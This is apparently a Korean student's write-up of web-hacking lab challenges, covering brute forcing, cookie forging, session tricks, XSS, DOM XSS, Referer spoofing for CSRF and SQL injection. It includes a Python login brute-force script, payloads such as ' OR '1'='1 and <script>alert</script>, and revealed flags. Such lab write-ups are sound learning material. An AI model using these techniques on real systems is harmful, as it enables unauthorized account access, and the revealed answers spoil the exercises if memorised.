문제 유형: 방법
플래그를 받으면 이곳에 제출했을 때 통과한다는 걸 알아냈다.

문제 유형: Brute Force
문제에 답이 있다.


일단 제일 앞이나 뒤에 특수기호 한 개가 있고 소문자 4개와 1234 이하 숫자가 4개라 하였는데
이름부터 abcd고 숫자가 1234 이하인 게 굉장히 수상하니 username에 admin, password에 !abcd1234가 들어가면 되지 않을까 해서 Brute Force 하기 전에 될 것 같아서 넣어 보았다.
이랬더니 'FLAG{N1c3_Brut3_F0rc3}'라는 정답이 나왔다.

문제 유형: Brute Force

얘도 Brute Force임을 내용으로 알 수 있었다.
일단 제목부터 수상하다. 그래서 저 영어 부분을 qwer로 해 놨다.
그리고 특수기호는 !~@ 혹은 @~!이니 그렇게 탐색하게 해 놓고 숫자는 Brute Force를 이용해 뚫게 만들어 놓았다. 나오면 멈추는 식이다.
다음은 그렇게 쓴 코드다.
import requests
url = 'https://ran150.1ee.tech/'
flag = ""
for i in range(0, 2001):
a = str(i)
while len(a) != 4:
a = "0" + a
data = {'username': 'admin', 'password': f'@qwer{a}!'}
response = requests.post(url, data=data)
print(f"@qwer{a}! -> ", end='')
print(response.text)
if response.text != "Invalid credentials!":
flag = response.text
exit(0)
for i in range(0, 2001):
a = str(i)
while len(a) != 4:
a = "0" + a
data = {'username': 'admin', 'password': f'!qwer{a}@'}
response = requests.post(url, data=data)
print(f"!qwer{a}@ -> ", end='')
print(response.text)
if response.text != "Invalid credentials!":
flag = response.text
exit(0)
그렇게 하니까 @qwer1212!에 정답이 나왔다(@부터 한 이유는 전 문제에도 그랬던 거 같아서였다).
고민 중독이... 나왔다.

문제 유형: 쿠키 해킹


이 문제는 정말 쉽다. 그냥 개발자 도구 켜고 Application 들어가서 쿠키 확인해 보면
이미 풀려 있는 문제라 기억은 안 나지만 저 userid에 admin으로 바꾸면 풀린다.

문제 유형: 쿠키 해킹

이것도 마찬가지로 쿠키 문제다.
쿠키를 보게 되면 이런 게 보일 것이다.

그런데 %3D를 보게 되면 =임을 알 수 있다. 이러면 Base64겠거니 하고 바로 Base64 디코딩하는 사이트를 찾아보았다.
해석해 보니 dXNlcg==는 user로 출력된다. 그러면 admin으로 인코딩하면 바로 풀 수 있을 것 같다.
인코딩하면 YWRtaW4=가 나오는 것을 볼 수 있고 이걸 쿠키 안에다 넣게 된다면
Flag가 나오는 것을 볼 수 있다.

문제 유형: 세션 탈취
처음에 Session Hijacking에 대해 검색해 보았으나 이걸론 알 수 없을 것 같아 직접 확인하려고 했었다. 쿠키를 보면 connect.sid가 있는 것을 볼 수 있는데 이 세션을 바꾼다고 해서 해결되는 게 아니었다. admin 권한을 받기 위해서

숨겨진 경로를 찾으려고 하였는데 딱히 생각이 나지 않다가 admin 권한을 얻어야 한다는 것을 보고 admin이라는 경로가 있지 않을까 싶어서 admin 경로로 들어가 보았다.

이게 맞는 거 같다. 한번 다시 돌아가서 새로고침해 보면

Flag가 나오는 것을 볼 수 있다.
문제 유형: 세션 고정

기본 계정 정보가 guest / guest라 했으니 일단 아이디와 비밀번호에 입력해 준다.

이거 username을 그냥 admin으로 하면 되지 않나 싶어서 admin으로 해 보았다.
생각해 보면 세션이 그대로니까 혹시 비밀번호는 그대로 하고 username을 admin으로 하면 어떨까 해서 해 보았다.

이게 정말 맞았다.
문제 유형: XSS

XSS니까 일단 <script>alert(1)</script>부터 먼저 써 보는 게 인지상정이다.

처음부터 취약점이 발견되었다.

다른 곳으로 이동하는 걸 보니 저쪽으로 이동해서 "flag"만 띄우면 답이 나오는 거라 볼 수 있다.
<script>alert("flag")</script>을 쳐 본다.

답이 나왔다.
문제 유형: DOM XSS

여기 스크립트를 보면

이렇게 돼 있는 것을 알 수 있다. 그래서 그냥 console에 document.getElementById("name").innerHTML = "넣을 거";를 한번 쳐 보았다.

그런데 이건 딱히 의미가 없었음을 알 수 있었다.
<img src=X onerror=document.cookie />를 해 봐도 어차피 내가 보고 있는 쿠키만 보고 있기 때문에 의미가 없었다. 그런데 혹시 Get 방식으로 name을 넘기면 어떻게 될까 하고 봤는데
https://ran185672.1ee.tech/?name=%EC%95%84%EC%9D%B4

똑같이 바뀌는 것이었다.
그렇다면 DOM XSS를 진행할 수 있게 됐다. 어드민이 쓰는 스크립트로 접근하고 싶어서 여기서 작업하기만 하면 되겠네 하고 <script></script>를 입력하게 된다면 403 Forbidden이 뜬다.

찾아보니 권한이 없어서 안 된 거라고 한다.

그런데 알고 보니 내가 script 안에 있는 건 아닌가 해서 alert(1)을 쳐 봤더니 그것도 안 됐다.
모르겠어서 힌트를 봤는데 admin이라는 function을 alert로 실행해 보라고 했는데 이게 안 되면 뭔가 싶었지만 일단 alert(admin())을 해 보았다.

alert(1)은 왜 안 됐던 건진 모르겠지만 아무튼 됐다.
문제 유형: CSRF

HTML Referer을 사용한 문제라는 걸 제목을 보면 알 수 있다.
Submit을 누르면 Invalid referer!라고 하는데 HTML Referer을 보면(Network에 들어가서 Ctrl+R을 눌러준다)

이곳이 Referer임을 알 수 있다. 하지만 우리는 Referer를 받아들일 수 있는 사이트로 들어와야하기 때문에

이곳을 보면 trust.1ee.tech가 있는 것을 볼 수 있다. 처음에 응용 프로그램 주길래 혹시 저번에 배웠던 리버싱인가 해서 봤는데 아무 내용도 없었던 것을 알 수 있다.
아무튼 이곳을 통해서 가기 위해선 일반적인 방법으로는 할 수 없고 인터넷에 검색해서 헤더 부분을 수정하는 방법을 검색하니 확장앱에서 ModHeader라는 걸로 수정할 수 있다고 한다. 그래서 깔아서 ModHeader에 Referer를 trust.1ee.tech로 하게 만들었다.
그 결과 플래그가 보이는 것을 확인할 수 있다.

문제 유형: SQL Injection
정말 이 문제는 사악하다.

여기서 간단하게 username에 admin' --을 넣어 봤더니

실패했다.
아무거나 치면 어떻게 되는지 확인해 봤더니

이게 뜬다. 그렇다면 내 생각에는 id = '' AND pw = '' AND 블라블라 = '' 이렇게 돼 있는 거 같았다.
그러면 주석 처리로는 해결이 불가능하니 작은따옴표로 닫는 게 가장 적절해 보인다.
그래서 ' OR '1 이렇게 쳐 보았다.
그래도 실패한다. 뭐가 문제일까. 힌트를 봤을 때는 기본적인 문법이라고 했는데 생각하기가 힘들었다.
알고 보니 username에서는 이게 안 먹힌다고 하였다. 그래서 password에서 하였다.
안 된다.
그런데 '1'이 확실히 참값을 띄운다는 보장이 없으니 ' OR '1'='1 이렇게 써 보았다.

답이 나왔다.